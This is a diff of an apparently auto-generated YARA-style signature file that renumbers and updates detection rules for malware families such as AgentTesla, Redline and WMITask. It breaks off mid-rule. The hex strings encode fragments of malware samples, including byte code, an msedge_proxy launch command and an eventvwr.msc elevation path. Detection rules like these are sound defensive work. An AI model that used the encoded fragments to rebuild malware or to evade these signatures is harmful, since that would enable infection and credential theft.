"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -116817,7 +124473,7 @@ rule _InfrastructureShared_10702{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_9b_3 & 1)*0+(#a_32_4 & 1)*21319+(#a_00_5 & 1)*19533+(#a_6e_6 & 1)*25710) >=7 } -rule _InfrastructureShared_10703{ +rule _InfrastructureShared_11392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -116830,7 +124486,7 @@ rule _InfrastructureShared_10703{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-28640+(#a_01_2 & 1)*8282+(#a_00_3 & 1)*13367) >=8 } -rule _InfrastructureShared_10704{ +rule _InfrastructureShared_11393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -116844,7 +124500,7 @@ rule _InfrastructureShared_10704{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*14134+(#a_38_2 & 1)*21589+(#a_00_6 & 1)*10352+(#a_5c_7 & 1)*28484) >=8 } -rule _InfrastructureShared_10705{ +rule _InfrastructureShared_11394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -116857,7 +124513,7 @@ rule _InfrastructureShared_10705{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*25967+(#a_61_2 & 1)*25966+(#a_6d_3 & 1)*29254) >=10 } -rule _InfrastructureShared_10706{ +rule _InfrastructureShared_11395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -116871,7 +124527,7 @@ rule _InfrastructureShared_10706{ ((#a_54_0 & 1)*18467+(#a_56_1 & 1)*22102+(#a_54_2 & 1)*28261+(#a_6f_3 & 1)*29797+(#a_13_4 & 1)*0) >=10 } -rule _InfrastructureShared_10707{ +rule _InfrastructureShared_11396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -116883,7 +124539,7 @@ rule _InfrastructureShared_10707{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*2564+(#a_05_2 & 1)*1299) >=12 } -rule _InfrastructureShared_10708{ +rule _InfrastructureShared_11397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -116895,7 +124551,7 @@ rule _InfrastructureShared_10708{ ((#a_4c_0 & 1)*21539+(#a_05_1 & 1)*2560+(#a_00_2 & 1)*400) >=12 } -rule _InfrastructureShared_10709{ +rule _InfrastructureShared_11398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -116908,7 +124564,7 @@ rule _InfrastructureShared_10709{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*4356+(#a_07_2 & 1)*1811+(#a_01_3 & 1)*25454) >=13 } -rule _InfrastructureShared_10710{ +rule _InfrastructureShared_11399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -116920,7 +124576,7 @@ rule _InfrastructureShared_10710{ ((#a_46_0 & 1)*16675+(#a_8e_1 & 1)*5634+(#a_00_2 & 1)*276) >=14 } -rule _InfrastructureShared_10711{ +rule _InfrastructureShared_11400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -116932,7 +124588,7 @@ rule _InfrastructureShared_10711{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*384+(#a_1c_2 & 1)*823) >=16 } -rule _InfrastructureShared_10712{ +rule _InfrastructureShared_11401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -116940,13 +124596,13 @@ rule _InfrastructureShared_10712{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 47 21 4d 54 42 00 0a 00 37 03 d0 1c 00 00 01 28 90 02 04 28 90 02 04 03 6f 90 02 04 17 8d 90 02 04 25 16 d0 90 02 09 a2 28 90 02 04 04 17 8d 90 02 04 25 16 } //16675 $a_90_1 = {04 0a 2b 00 06 2a 90 00 02 00 09 80 01 47 65 74 4d 65 74 68 6f 64 02 00 06 80 01 49 6e 76 6f 6b 65 02 00 0a 80 01 47 5a 69 70 53 74 72 65 61 6d 02 00 07 80 01 4c 61 74 65 47 65 74 00 00 78 9b 00 00 14 00 14 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 41 42 21 4d 54 42 00 0a 00 } //-24062 $a_73_2 = {00 00 } //30 - $a_85_3 = {00 0a 0a 20 00 10 00 00 8d 4c 00 00 01 0b 73 86 00 00 0a 0c 0a 00 48 03 28 94 00 00 06 28 a1 00 00 06 28 89 00 00 0a 0a 06 6f 8a 00 00 0a 16 9a 0b 07 6f 8b 00 00 0a 19 9a 0c 08 14 19 8d 2a 00 00 01 25 16 7e 90 02 04 a2 25 17 7e 90 02 04 a2 25 18 72 90 02 04 a2 6f 8c 00 00 0a 26 2a 90 00 00 00 78 9b 00 00 c8 00 c8 00 03 00 21 23 41 4c 46 3a 54 } //5642 - $a_61_4 = {3a 4d 53 49 4c 2f 54 61 6c 6c 4c 6f 6f 6b 6f 75 74 2e 41 21 64 68 61 00 64 00 28 01 41 31 45 30 39 34 36 34 42 36 38 30 34 38 46 38 32 38 33 37 39 32 44 39 30 41 46 33 31 42 39 39 44 41 37 38 45 36 44 33 64 00 24 01 30 64 61 38 37 66 64 35 2d 33 61 64 36 2d 34 62 66 36 2d 39 31 63 36 2d 32 30 35 31 38 33 36 35 64 62 } //28530 + $a_85_3 = {00 0a 0a 20 00 10 00 00 8d 4c 00 00 01 0b 73 86 00 00 0a 0c 0a 00 48 03 28 94 00 00 06 28 a1 00 00 06 28 89 00 00 0a 0a 06 6f 8a 00 00 0a 16 9a 0b 07 6f 8b 00 00 0a 19 9a 0c 08 14 19 8d 2a 00 00 01 25 16 7e 90 02 04 a2 25 17 7e 90 02 04 a2 25 18 72 90 02 04 a2 6f 8c 00 00 0a 26 2a 90 00 00 00 78 9b 00 00 1f 00 1f 00 03 00 21 23 54 45 4c 3a 54 } //5642 + $a_61_4 = {3a 57 69 6e 33 32 2f 57 4d 49 54 61 73 6b 2e 48 45 21 4d 54 42 00 01 00 21 01 4d 69 63 72 6f 73 6f 66 74 2e 57 69 6e 33 32 2e 54 61 73 6b 53 63 68 65 64 75 6c 65 72 2e 64 6c 6c 01 00 13 01 4e 65 77 74 6f 6e 73 6f 66 74 2e 4a 73 6f 6e 2e 64 6c 6c 1e 00 30 81 01 5c 6d 73 65 64 67 65 5f 70 72 6f 78 79 2e 65 78 65 20 2d } //28530 condition: ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-24062+(#a_73_2 & 1)*30+(#a_85_3 & 1)*5642+(#a_61_4 & 1)*28530) >=18 } -rule _InfrastructureShared_10713{ +rule _InfrastructureShared_11402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -116957,7 +124613,30 @@ rule _InfrastructureShared_10713{ ((#a_46_0 & 1)*16675+(#a_28_1 & 1)*0) >=20 } -rule _InfrastructureShared_10714{ +rule _InfrastructureShared_11403{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 4d 49 54 61 73 6b 2e 48 45 21 4d 54 42 00 01 00 21 01 4d 69 63 72 6f 73 6f 66 74 2e 57 69 6e 33 32 2e 54 61 73 6b 53 63 68 65 64 75 6c 65 72 2e 64 6c 6c 01 00 13 01 } //21539 + $a_74_1 = {6e 73 6f 66 74 2e 4a 73 6f 6e 2e 64 6c 6c 1e 00 30 81 01 5c 6d 73 65 64 67 65 5f 70 72 6f 78 79 2e 65 78 65 20 2d 2d 61 70 70 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 72 61 64 69 6e 67 76 69 65 77 2e 00 00 78 9b 00 00 28 00 28 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 72 69 63 74 6f 72 2e 4d 52 21 4d 54 42 00 14 00 42 01 83 } //25934 + $a_b6_2 = {e8 30 4d 00 88 48 01 8b ca c1 e9 06 83 e2 3f } //16353 + condition: + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*25934+(#a_b6_2 & 1)*16353) >=31 + +} +rule _InfrastructureShared_11404{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 72 69 63 74 6f 72 2e 4d 52 21 4d 54 42 00 14 00 42 01 83 e1 3f 0f b6 89 e8 30 4d 00 88 48 01 8b ca c1 e9 06 83 e2 3f 83 e1 3f 0f b6 89 e8 30 4d 00 88 48 02 0f b6 } //21539 + $a_4d_1 = {8b 55 14 88 48 03 83 c2 04 83 47 5c 04 83 c0 04 8b 4f 60 89 55 14 3b 4f 64 14 00 26 03 8b ec 8b 45 08 53 57 8d 1c 85 f0 83 4f 00 8b 90 01 04 f4 } //-6006 + condition: + ((#a_4c_0 & 1)*21539+(#a_4d_1 & 1)*-6006) >=40 + +} +rule _InfrastructureShared_11405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 03 00 21 " @@ -116969,7 +124648,7 @@ rule _InfrastructureShared_10714{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*292+(#a_72_2 & 1)*29793) >=200 } -rule _InfrastructureShared_10715{ +rule _InfrastructureShared_11406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116979,7 +124658,7 @@ rule _InfrastructureShared_10715{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10716{ +rule _InfrastructureShared_11407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116989,7 +124668,7 @@ rule _InfrastructureShared_10716{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10717{ +rule _InfrastructureShared_11408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116999,7 +124678,7 @@ rule _InfrastructureShared_10717{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10718{ +rule _InfrastructureShared_11409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117009,7 +124688,7 @@ rule _InfrastructureShared_10718{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10719{ +rule _InfrastructureShared_11410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117019,7 +124698,7 @@ rule _InfrastructureShared_10719{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10720{ +rule _InfrastructureShared_11411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117029,7 +124708,7 @@ rule _InfrastructureShared_10720{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10721{ +rule _InfrastructureShared_11412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117039,7 +124718,7 @@ rule _InfrastructureShared_10721{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10722{ +rule _InfrastructureShared_11413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117049,7 +124728,7 @@ rule _InfrastructureShared_10722{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10723{ +rule _InfrastructureShared_11414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117059,7 +124738,7 @@ rule _InfrastructureShared_10723{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10724{ +rule _InfrastructureShared_11415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117069,7 +124748,7 @@ rule _InfrastructureShared_10724{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10725{ +rule _InfrastructureShared_11416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117079,7 +124758,7 @@ rule _InfrastructureShared_10725{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10726{ +rule _InfrastructureShared_11417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117089,7 +124768,7 @@ rule _InfrastructureShared_10726{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10727{ +rule _InfrastructureShared_11418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -117099,7 +124778,7 @@ rule _InfrastructureShared_10727{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_10728{ +rule _InfrastructureShared_11419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -117110,7 +124789,7 @@ rule _InfrastructureShared_10728{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*9308) >=1 } -rule _InfrastructureShared_10729{ +rule _InfrastructureShared_11420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -117121,7 +124800,7 @@ rule _InfrastructureShared_10729{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*832) >=1 } -rule _InfrastructureShared_10730{ +rule _InfrastructureShared_11421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -117132,7 +124811,7 @@ rule _InfrastructureShared_10730{ ((#a_46_0 & 1)*16675+(#a_9a_1 & 1)*-28413) >=1 } -rule _InfrastructureShared_10731{ +rule _InfrastructureShared_11422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -117144,7 +124823,7 @@ rule _InfrastructureShared_10731{ ((#a_54_0 & 1)*18467+(#a_15_1 & 1)*-28665+(#a_90_2 & 1)*9217) >=1 } -rule _InfrastructureShared_10732{ +rule _InfrastructureShared_11423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -117157,7 +124836,7 @@ rule _InfrastructureShared_10732{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*21582+(#a_72_2 & 1)*18479+(#a_00_4 & 1)*30720) >=1 } -rule _InfrastructureShared_10733{ +rule _InfrastructureShared_11424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -117169,7 +124848,7 @@ rule _InfrastructureShared_10733{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*16689+(#a_00_3 & 1)*0) >=1 } -rule _InfrastructureShared_10734{ +rule _InfrastructureShared_11425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -117183,7 +124862,7 @@ rule _InfrastructureShared_10734{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_59_2 & 1)*-31997+(#a_24_3 & 1)*-30704+(#a_09_4 & 1)*6544) >=1 } -rule _InfrastructureShared_10735{ +rule _InfrastructureShared_11426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -117198,7 +124877,7 @@ rule _InfrastructureShared_10735{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9364+(#a_2d_2 & 1)*14637+(#a_00_4 & 1)*0+(#a_23_5 & 1)*2+(#a_49_6 & 1)*17198) >=1 } -rule _InfrastructureShared_10736{ +rule _InfrastructureShared_11427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -117209,7 +124888,7 @@ rule _InfrastructureShared_10736{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11617) >=2 } -rule _InfrastructureShared_10737{ +rule _InfrastructureShared_11428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -117219,7 +124898,7 @@ rule _InfrastructureShared_10737{ ((#a_6f_0 & 1)*21539) >=2 } -rule _InfrastructureShared_10738{ +rule _InfrastructureShared_11429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -117231,7 +124910,7 @@ rule _InfrastructureShared_10738{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-14461+(#a_00_2 & 1)*70) >=2 } -rule _InfrastructureShared_10739{ +rule _InfrastructureShared_11430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -117243,7 +124922,7 @@ rule _InfrastructureShared_10739{ ((#a_4e_0 & 1)*20259+(#a_00_1 & 1)*97+(#a_8b_2 & 1)*11520) >=2 } -rule _InfrastructureShared_10740{ +rule _InfrastructureShared_11431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -117255,7 +124934,7 @@ rule _InfrastructureShared_10740{ ((#a_4c_0 & 1)*21539+(#a_11_1 & 1)*-2044+(#a_4c_2 & 1)*24937) >=2 } -rule _InfrastructureShared_10741{ +rule _InfrastructureShared_11432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -117268,7 +124947,7 @@ rule _InfrastructureShared_10741{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*-5051+(#a_41_2 & 1)*19524+(#a_1e_3 & 1)*21252) >=2 } -rule _InfrastructureShared_10742{ +rule _InfrastructureShared_11433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -117281,7 +124960,7 @@ rule _InfrastructureShared_10742{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*0+(#a_44_2 & 1)*2+(#a_6f_3 & 1)*21562) >=2 } -rule _InfrastructureShared_10743{ +rule _InfrastructureShared_11434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -117296,7 +124975,7 @@ rule _InfrastructureShared_10743{ ((#a_5f_0 & 1)*25635+(#a_c6_1 & 1)*7168+(#a_00_2 & 1)*11300+(#a_64_3 & 1)*20480+(#a_5d_4 & 1)*8024+(#a_4c_5 & 1)*29295) >=2 } -rule _InfrastructureShared_10744{ +rule _InfrastructureShared_11435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -117308,7 +124987,7 @@ rule _InfrastructureShared_10744{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*24095+(#a_4c_2 & 1)*29295) >=3 } -rule _InfrastructureShared_10745{ +rule _InfrastructureShared_11436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -117319,7 +124998,7 @@ rule _InfrastructureShared_10745{ ((#a_46_0 & 1)*16675+(#a_05_2 & 1)*18625) >=3 } -rule _InfrastructureShared_10746{ +rule _InfrastructureShared_11437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -117331,7 +125010,7 @@ rule _InfrastructureShared_10746{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*-7805+(#a_34_2 & 1)*28265) >=3 } -rule _InfrastructureShared_10747{ +rule _InfrastructureShared_11438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -117343,7 +125022,7 @@ rule _InfrastructureShared_10747{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*27756+(#a_8d_2 & 1)*12324) >=3 } -rule _InfrastructureShared_10748{ +rule _InfrastructureShared_11439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -117354,7 +125033,7 @@ rule _InfrastructureShared_10748{ ((#a_4c_0 & 1)*21539+(#a_4c_2 & 1)*9216) >=3 } -rule _InfrastructureShared_10749{ +rule _InfrastructureShared_11440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -117366,7 +125045,7 @@ rule _InfrastructureShared_10749{ ((#a_4c_0 & 1)*21539+(#a_63_1 & 1)*24950+(#a_41_2 & 1)*27756) >=3 } -rule _InfrastructureShared_10750{ +rule _InfrastructureShared_11441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -117378,7 +125057,7 @@ rule _InfrastructureShared_10750{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_10751{ +rule _InfrastructureShared_11442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -117390,7 +125069,7 @@ rule _InfrastructureShared_10751{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*73+(#a_72_3 & 1)*29441) >=3 } -rule _InfrastructureShared_10752{ +rule _InfrastructureShared_11443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -117402,7 +125081,7 @@ rule _InfrastructureShared_10752{ ((#a_77_0 & 1)*27683+(#a_01_1 & 1)*29556+(#a_52_3 & 1)*7936) >=3 } -rule _InfrastructureShared_10753{ +rule _InfrastructureShared_11444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -117410,13 +125089,12 @@ rule _InfrastructureShared_10753{ $a_46_0 = {45 52 3a 48 53 54 52 3a 47 76 6f 64 62 6f 78 2e 41 31 00 02 00 1f 01 52 65 66 65 72 65 72 3a 68 74 74 70 3a 2f 2f 77 77 77 2e 31 32 33 6b 75 62 6f 2e 63 6f 6d 2f 02 00 13 01 2e 67 76 6f 64 62 6f 78 2e 63 6f 6d 2f 70 6c 61 79 65 } //16675 $a_6c_2 = {61 70 69 2e 63 6f 6d 02 00 0c 01 73 67 76 6f 64 62 6f 78 2e 65 78 65 01 00 0b 01 2f 78 2e 70 68 70 3f 75 72 6c 3d 01 00 0f 01 2f 76 69 64 65 6f 2e 70 68 70 3f 75 72 6c 3d 00 00 78 9c 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4e 54 21 4d 54 42 00 03 00 } //11777 $a_03_3 = {c6 48 8b 06 41 ff c7 48 83 c3 28 0f b7 48 06 89 54 24 90 01 01 4c 89 44 24 90 01 01 44 3b f9 0f 8c 55 ff ff ff b8 01 00 00 00 48 8d 54 24 90 01 01 48 8b ce 89 44 24 90 01 01 e8 8f fd ff ff 85 c0 90 00 01 00 28 01 73 00 6b 00 79 00 } //837 - $a_00_4 = {75 00 65 00 5f 00 62 00 6f 00 78 00 6d 00 61 00 6e 00 65 00 64 00 69 00 74 00 65 00 72 00 00 00 78 9c 00 00 04 00 04 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 6c 69 6e 65 2e 52 45 4c 21 4d 54 42 00 03 00 47 01 48 54 54 50 2e 53 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 55 73 65 } //98 - $a_67_5 = {6e 74 22 2c 22 20 28 20 22 20 4f 53 4e 61 6d 65 20 22 20 7c 20 22 20 62 69 74 20 22 20 7c 20 22 20 43 50 55 4e 41 6d 65 01 00 10 01 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 01 00 0d 01 57 } //11634 + $a_00_4 = {75 00 65 00 5f 00 62 00 6f 00 78 00 6d 00 61 00 6e 00 65 00 64 00 69 00 74 00 65 00 72 00 00 00 78 9c 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 47 41 56 49 21 4d 54 42 00 02 00 1b 03 0a 7e 08 00 00 04 02 06 6f 90 01 01 00 00 0a 0b 07 28 90 01 01 00 00 0a } //98 condition: - ((#a_46_0 & 1)*16675+(#a_6c_2 & 1)*11777+(#a_03_3 & 1)*837+(#a_00_4 & 1)*98+(#a_67_5 & 1)*11634) >=3 + ((#a_46_0 & 1)*16675+(#a_6c_2 & 1)*11777+(#a_03_3 & 1)*837+(#a_00_4 & 1)*98) >=3 } -rule _InfrastructureShared_10754{ +rule _InfrastructureShared_11445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -117427,7 +125105,18 @@ rule _InfrastructureShared_10754{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28636) >=4 } -rule _InfrastructureShared_10755{ +rule _InfrastructureShared_11446{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 47 41 56 49 21 4d 54 42 00 02 00 1b 03 0a 7e 08 00 00 04 02 06 6f 90 01 01 00 00 0a 0b 07 28 90 01 01 00 00 0a 2a 90 00 02 00 4b 03 06 25 } //21539 + $a_01_1 = {01 00 00 06 25 26 0a 06 28 90 01 01 00 00 06 25 26 0b 07 28 90 01 01 00 00 06 0c 20 85 d9 0d 00 28 90 01 01 00 00 06 0d 20 9a d9 0d 00 28 90 01 01 00 00 06 25 26 13 04 28 90 01 01 00 00 06 25 26 13 05 90 00 00 00 78 9c 00 00 04 00 04 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 6c 69 6e 65 2e 52 45 4c 21 4d 54 42 00 03 00 47 01 48 54 54 50 2e 53 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 } //10278 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*10278) >=4 + +} +rule _InfrastructureShared_11447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -117439,7 +125128,7 @@ rule _InfrastructureShared_10755{ ((#a_54_0 & 1)*18467+(#a_22_1 & 1)*31776+(#a_65_2 & 1)*28261) >=4 } -rule _InfrastructureShared_10756{ +rule _InfrastructureShared_11448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -117451,7 +125140,7 @@ rule _InfrastructureShared_10756{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*12+(#a_52_2 & 1)*11877) >=4 } -rule _InfrastructureShared_10757{ +rule _InfrastructureShared_11449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -117464,7 +125153,7 @@ rule _InfrastructureShared_10757{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*12334+(#a_65_2 & 1)*384+(#a_00_3 & 1)*105) >=4 } -rule _InfrastructureShared_10758{ +rule _InfrastructureShared_11450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -117476,20 +125165,33 @@ rule _InfrastructureShared_10758{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*46+(#a_00_3 & 1)*25459) >=4 } -rule _InfrastructureShared_10759{ +rule _InfrastructureShared_11451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 45 6c 65 76 65 76 2e 41 00 01 00 20 81 01 43 3a 5c 57 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 65 76 65 6e 74 76 77 72 2e 6d 73 63 01 00 0c 81 01 4c 4f 43 41 4c 41 50 50 44 41 54 41 01 00 23 00 33 d2 42 0f 11 84 35 e0 08 } //18467 - $a_0f_1 = {10 44 24 40 f2 42 0f 11 84 35 f0 08 00 00 42 88 84 35 f8 08 00 00 01 00 1d 00 c7 44 24 28 80 00 00 00 45 33 c9 45 33 c0 c7 44 24 20 02 00 00 00 ba 00 00 00 10 ff 15 00 00 78 9c 00 00 04 